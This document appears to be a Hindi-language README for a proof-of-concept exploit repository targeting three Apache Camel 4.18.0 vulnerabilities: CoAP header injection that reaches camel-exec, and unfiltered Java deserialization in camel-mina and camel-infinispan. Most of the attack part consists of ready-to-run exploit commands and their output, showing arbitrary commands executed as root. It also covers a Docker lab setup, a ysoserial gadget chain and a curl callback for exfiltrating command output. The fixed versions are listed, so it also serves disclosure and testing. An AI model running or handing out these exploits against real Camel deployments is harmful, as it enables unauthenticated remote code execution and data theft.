
तीन गंभीर Apache Camel कमजोरियों के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और विस्तृत विश्लेषण प्रदान करता है, जिसमें CoAP हेडर इंजेक्शन और असुरक्षित डिसीरियलाइज़ेशन शामिल हैं, जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाते हैं।
Apache Camel 4.18.0 में तीन गंभीर कमजोरियाँ, स्वतंत्र रूप से खोजी गईं और कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट्स के साथ मान्य की गईं।
| CVE | घटक | प्रकार | CVSS | निर्णय |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | हेडर इंजेक्शन → RCE | 10.0 क्रिटिकल | शोषण योग्य |
| CVE-2026-40473 | camel-mina | असुरक्षित डिसीरियलाइज़ेशन → RCE | 9.8 क्रिटिकल | शोषण योग्य |
| CVE-2026-40858 | camel-infinispan | असुरक्षित डिसीरियलाइज़ेशन | 8.8 उच्च | शोषण योग्य |
घटक: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (ऑब्जेक्ट विशेषताओं का अनुचित रूप से नियंत्रित संशोधन)
इसमें ठीक किया गया: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() CoAP URI क्वेरी पैरामीटर को सीधे Camel Exchange हेडर में setHeader() के माध्यम से मैप करता है, बिना किसी HeaderFilterStrategy के। CoAPEndpoint DefaultEndpoint का विस्तार करता है, न कि DefaultHeaderFilterStrategyEndpoint का, इसलिए आंतरिक Camel*-उपसर्ग वाले हेडर किसी भी अप्रमाणित क्लाइंट द्वारा इंजेक्ट किए जा सकते हैं।
जब रूट camel-exec पर अग्रेषित होता है, तो हमलावर-नियंत्रित CamelExecCommandExecutable और CamelExecCommandArgs हेडर कॉन्फ़िगर किए गए कमांड को ओवरराइड कर देते हैं, जिससे एकल UDP पैकेट के माध्यम से प्री-ऑथेंटिकेटेड RCE प्राप्त होता है।
// CamelCoapResource.java:103-109 — कोई HeaderFilterStrategy नहीं
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] प्रतिक्रिया: 2.05
[+] कमांड आउटपुट: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] कमांड आउटपुट: app bin boot dev etc home lib ...
घटक: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (अविश्वसनीय डेटा का डिसीरियलाइज़ेशन)
इसमें ठीक किया गया: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) बिना किसी ObjectInputFilter के एक कच्चा java.io.ObjectInputStream बनाता है। जब एक MINA एंडपॉइंट allowDefaultCodec=false के साथ कॉन्फ़िगर किया जाता है, तो कच्चा TCP डेटा IoBuffer के रूप में आता है और Camel के टाइप कनवर्टर तक पहुँचता है, जो इस विधि को कॉल करता है — हमलावर-नियंत्रित नेटवर्क बाइट्स को बिना फ़िल्टर किए ObjectInputStream में लपेटता है।
// MinaConverter.java:60-63 — कोई ObjectInputFilter नहीं
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // हमलावर-नियंत्रित बाइट्स, कोई फ़िल्टर नहीं
}
हमले का मार्ग: एक्सप्लॉइट allowDefaultCodec=false (PoC में पोर्ट 9879) के साथ MINA TCP एंडपॉइंट को लक्षित करता है। यह MINA के कोडेक परत को पूरी तरह से बायपास करता है — ObjectSerializationCodecFactory की अपनी ClassNameMatcher अनुमति सूची होती है जो अन्यथा मनमाने क्लास को ब्लॉक कर देती। कोडेक अक्षम होने पर, कच्चे बाइट्स सीधे MinaConverter.toObjectInput() तक पहुँचते हैं जो शून्य क्लास फ़िल्टरिंग के साथ एक मानक ObjectInputStream बनाता है।
एक CommonsCollections6 गैजेट श्रृंखला (ysoserial के माध्यम से) रूट के रूप में मनमाना कमांड निष्पादन प्राप्त करती है। कमांड आउटपुट हमलावर को curl कॉलबैक के माध्यम से बाहर निकाला जाता है।

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] कमांड आउटपुट:
uid=0(root) gid=0(root) groups=0(root)
[+] पुष्टि: CVE-2026-40473 RCE — डिसीरियलाइज़ेशन के माध्यम से कमांड निष्पादित किया गया
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] कमांड आउटपुट:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6 गैजेट)cd poc/
docker compose up -d --build
कंटेनर शुरू होने की प्रतीक्षा करें, फिर सत्यापित करें:
docker logs vuln-camel-mina
आपको यह देखना चाहिए:

[*] कमजोर MINA सर्वर प्रारंभ हुआ
[*] पोर्ट 9877: transferExchange (Java deser) एंडपॉइंट
[*] पोर्ट 9878: ऑब्जेक्ट सीरियलाइज़ेशन कोडेक एंडपॉइंट
[*] पोर्ट 9879: कच्चा TCP (MinaConverter.toObjectInput) एंडपॉइंट
[*] कनेक्शन की प्रतीक्षा...
पोर्ट 9879 लक्ष्य है — यह allowDefaultCodec=false का उपयोग करता है, जो MINA के कोडेक फ़िल्टर को अक्षम करता है और कच्चे IoBuffer को Camel के बिना फ़िल्टर किए MinaConverter.toObjectInput() तक पहुँचने देता है।
पहले, सत्यापित करें कि एंडपॉइंट बिना किसी ObjectInputFilter के मनमाने Java ऑब्जेक्ट स्वीकार और डिसीरियलाइज़ करता है:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] प्रोब मोड — डिसीरियलाइज़ेशन की पुष्टि (कोई RCE नहीं)
[*] पेलोड: HashMap (82 बाइट्स, कच्चा — कोई MINA फ्रेम नहीं)
[+] MINA एंडपॉइंट से कनेक्ट हुआ
[+] पेलोड भेजा गया
[+] डेटा बिना फ़िल्टर अस्वीकृति के readObject() तक पहुँचा
प्रोब एक सीरियलाइज़्ड HashMap भेजता है। सर्वर इसे ObjectInputStream.readObject() के माध्यम से बिना किसी InvalidClassException के डिसीरियलाइज़ करता है — शून्य क्लास फ़िल्टरिंग की पुष्टि करता है।
ysoserial उपलब्ध होने पर, मनमाने कमांड निष्पादन के लिए बिना फ़िल्टर किए डिसीरियलाइज़ेशन का शोषण करें:
# 'id' निष्पादित करें — uid=0(root) लौटाता है
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# फ़ाइलें पढ़ें
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# सिस्टम जानकारी
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
एक्सप्लॉइट एक CommonsCollections6 गैजेट श्रृंखला उत्पन्न करता है, इसे पोर्ट 9879 पर कच्चे बाइट्स के रूप में भेजता है, और curl कॉलबैक श्रोता के माध्यम से कमांड आउटपुट कैप्चर करता है।
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]